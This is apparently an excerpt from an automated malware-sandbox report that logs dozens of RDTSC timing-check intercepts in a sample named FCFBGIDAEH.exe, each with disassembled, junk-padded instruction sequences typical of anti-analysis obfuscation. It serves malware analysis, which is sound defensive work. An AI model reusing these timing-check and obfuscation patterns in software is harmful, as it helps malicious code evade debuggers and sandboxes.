Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27AC97 second address: 27AC9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B252 second address: 27B258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B258 second address: 27B25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B399 second address: 27B3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE5D53969E6h 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B3A6 second address: 27B3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D4EEBCBBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B3B7 second address: 27B3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B3C0 second address: 27B3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D4EEBCC4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B3D8 second address: 27B3FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jo 00007FE5D53969F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FE5D53969E6h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27B525 second address: 27B52C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 234C96 second address: 234CC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F9h 0x00000007 jng 00007FE5D53969E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jno 00007FE5D53969E6h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27BE07 second address: 27BE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FE5D4EEBCB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27BE16 second address: 27BE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27F09D second address: 27F0A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27F0A1 second address: 27F0AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FE5D53969E6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 27F0AF second address: 27F0E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FE5D4EEBCB6h 0x00000011 jmp 00007FE5D4EEBCC1h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 283669 second address: 283674 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 283674 second address: 283696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007FE5D4EEBCB8h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FE5D4EEBCC2h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24A459 second address: 234162 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE5D53969E8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007FE5D53969E8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 lea eax, dword ptr [ebp+1247F196h] 0x0000002f sub dword ptr [ebp+12459208h], edi 0x00000035 push eax 0x00000036 jbe 00007FE5D53969F0h 0x0000003c mov dword ptr [esp], eax 0x0000003f mov dx, 329Ah 0x00000043 call dword ptr [ebp+122D2700h] 0x00000049 je 00007FE5D5396A1Ch 0x0000004f pushad 0x00000050 pushad 0x00000051 popad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24A59D second address: 24A5A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24A5A2 second address: 24A5C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FE5D53969F9h 0x00000012 jmp 00007FE5D53969F3h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24A5C7 second address: 24A5CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AB8C second address: 24AB92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AB92 second address: 24ABBB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE5D4EEBCC4h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24ABBB second address: 24ABC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24ABC0 second address: 24ABFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a jmp 00007FE5D4EEBCC5h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 jmp 00007FE5D4EEBCC5h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24ABFE second address: 24AC02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AC02 second address: 24AC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FE5D4EEBCB8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 xor dword ptr [ebp+122D1B6Dh], ebx 0x00000028 push FCF23E46h 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE5D4EEBCBBh 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AC41 second address: 24AC47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AC47 second address: 24AC4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AC4B second address: 24AC4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AD0A second address: 24AD18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCBAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AD6E second address: 24AD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE5D53969F9h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007FE5D53969ECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AD97 second address: 24AD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24AD9B second address: 24AE17 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jng 00007FE5D53969E6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, esi 0x0000000d jc 00007FE5D5396A01h 0x00000013 nop 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FE5D53969F0h 0x0000001d popad 0x0000001e pushad 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 jmp 00007FE5D53969F9h 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 pushad 0x0000002a js 00007FE5D53969F5h 0x00000030 jmp 00007FE5D53969EFh 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 250A5E second address: 250A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FE5D4EEBCBCh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24B123 second address: 24B12C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24B5C9 second address: 24B5E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE5D4EEBCC2h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24B5E7 second address: 24B5F1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE5D53969E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24B5F1 second address: 24B5F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24B5F7 second address: 24B5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BA11 second address: 24BA1B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE5D4EEBCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BA1B second address: 24BA21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24BA21 second address: 234C96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c adc dh, 00000057h 0x0000000f call dword ptr [ebp+122D1BAEh] 0x00000015 jmp 00007FE5D4EEBCBCh 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f push edi 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 282834 second address: 282838 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 24A4A4 second address: 234162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dx, 329Ah 0x0000000c call dword ptr [ebp+122D2700h] 0x00000012 je 00007FE5D4EEBCECh 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2829B7 second address: 2829C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FE5D53969E6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2829C3 second address: 2829C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 282D96 second address: 282DB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5D53969ECh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 287750 second address: 287758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28CFB2 second address: 28CFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28CFB6 second address: 28CFBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28CFBA second address: 28CFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007FE5D53969E6h 0x00000010 jns 00007FE5D53969E6h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28CFD0 second address: 28CFE3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE5D4EEBCB6h 0x00000008 jnl 00007FE5D4EEBCB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28CFE3 second address: 28D011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE5D53969E6h 0x0000000a jmp 00007FE5D53969F9h 0x0000000f jng 00007FE5D53969E6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28D011 second address: 28D017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28C66B second address: 28C66F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 28C66F second address: 28C675 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 290ABD second address: 290ACD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FE5D53969E6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2904E8 second address: 2904EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2904EC second address: 2904FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FE5D53969E6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29060A second address: 290633 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D4EEBCC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE5D4EEBCBFh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 290633 second address: 290637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 292CD9 second address: 292CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 292CE2 second address: 292CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 292CE6 second address: 292CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 292CEC second address: 292CF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2978B9 second address: 2978BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 296F80 second address: 296F84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 296F84 second address: 296FCF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jl 00007FE5D4EEBCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FE5D4EEBCC2h 0x00000012 jnl 00007FE5D4EEBCB8h 0x00000018 jmp 00007FE5D4EEBCBEh 0x0000001d popad 0x0000001e jnp 00007FE5D4EEBCD2h 0x00000024 pushad 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e jng 00007FE5D4EEBCB6h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 296FCF second address: 296FD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29759B second address: 2975A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2975A1 second address: 2975A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2975A8 second address: 2975AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2975AD second address: 2975B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29BF47 second address: 29BF55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE5D4EEBCBAh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29BF55 second address: 29BF67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007FE5D53969F2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29BF67 second address: 29BF6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29BF6D second address: 29BF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29BF71 second address: 29BF77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29C357 second address: 29C35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29C35B second address: 29C36B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007FE5D4EEBCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29C63E second address: 29C650 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE5D53969EEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 29C650 second address: 29C686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE5D4EEBCC9h 0x0000000b popad 0x0000000c jl 00007FE5D4EEBCCCh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE5D4EEBCBEh 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A131A second address: 2A133A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007FE5D53969F7h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	RDTSC instruction interceptor: First address: 2A087F second address: 2A089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007FE5D4EEBCE4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE5D4EEBCBEh 0x00000016 rdtsc
